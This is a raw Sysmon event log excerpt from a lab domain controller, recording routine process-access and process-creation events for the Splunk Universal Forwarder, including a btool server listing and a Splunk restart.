09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004855Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004854Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004853Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004852Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004851Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004850Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004849Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004848Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-294E-5F80-0301-000000007F01}4840C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004847Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-294E-5F80-0201-000000007F01}22524812C:\Windows\system32\cmd.exe{A5F018FF-294E-5F80-0301-000000007F01}4840C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004846Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.467{A5F018FF-294E-5F80-0301-000000007F01}4840C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list httpServerListener: --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294E-5F80-0201-000000007F01}2252C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list httpServerListener: --no-log 10341000x80000000000000004845Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294E-5F80-0201-000000007F01}2252C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004844Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004843Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004842Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004841Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004840Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004839Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004838Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004837Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004836Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004835Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294E-5F80-0201-000000007F01}2252C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004834Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-294B-5F80-EF00-000000007F01}50964708C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE{A5F018FF-294E-5F80-0201-000000007F01}2252C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+13ac4|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+12176|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+19082|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+d94e|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004833Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-294E-5F80-0201-000000007F01}2252C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list httpServerListener: --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294B-5F80-EF00-000000007F01}5096C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE" restart --waitonpid=2528 10341000x80000000000000004832Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294E-5F80-0101-000000007F01}1224C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004831Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004830Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004829Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 